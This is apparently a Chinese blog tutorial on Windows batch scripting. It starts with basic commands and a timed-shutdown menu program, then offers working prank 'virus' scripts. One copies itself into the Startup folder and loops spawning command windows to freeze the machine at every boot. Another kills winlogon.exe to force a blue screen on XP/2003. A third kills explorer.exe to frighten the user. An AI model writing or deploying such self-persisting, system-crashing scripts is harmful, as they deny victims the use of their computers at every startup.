批处理 21/07/15

批处理

利用记事本创建并编写一个.bat文件,该文件即为批处理文件,实质是DOS命令的集合:

@echo off	//首行命令,关闭输出过程显示
pause	//任意位置插入的命令,暂停执行下一条命令并显示DOS窗口,按任意键继续
title name	//给批处理起标题为name
echo.	//执行批处理时空一行
set /p time=请输入时间:	//设置一个变量time,在脚本中交互赋值
%time%	//引用变量
ping -n 10 127.0.0.1 >nul 2>nul	//该命令常用于延时
// >nul 不显示ping的过程
// 2>nul 若ping失败,也不现实过程

案例1:定时关机小程序

@echo off
title 小程序
echo ================
echo.
echo 欢迎使用此小程序
echo.
echo ================
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,谢谢使用!
pause
:menu	//定义标签名为menu
goto menu	//跳转到menu标签部分开始执行命令

案例2:小程序2.0

@echo off
title 小程序2.0
:menu
cls
echo ==================
echo 		菜单
echo	 1.定时关机
echo 	 2.查看本机IP
echo 	 3.退出
echo ==================
set /p num=请输入选项:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
echo 请正确输入数值1/2/3,按任意键继续!
pause
goto menu

:a
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返回菜单!
pause
goto menu

:b
ipconfig
echo 按任意键返回菜单!
pause
goto menu

:c
exit

案例3:windows开机即死机

copy virus.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start
goto d

// userprofile为windows中的一个系统变量,其值为C:\Documents and Settings\用户名或Administrator
// %%为取值
// :d 表示该行下面的命令块编号为d
// goto d 执行编号为d的命令块
// start 打开cmd窗口

案例4:win2003开机即蓝屏

copy virus.bat "%userprofile%\「开始」菜单\程序\启动"
ntsd -c q -pn winlogon.exe	//强制杀死登陆进程,针对xp或2003

案例5:恐吓小程序

@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo 傻了吧
ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓你的hhh
pause

//杀死桌面进程,几秒后又开启
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值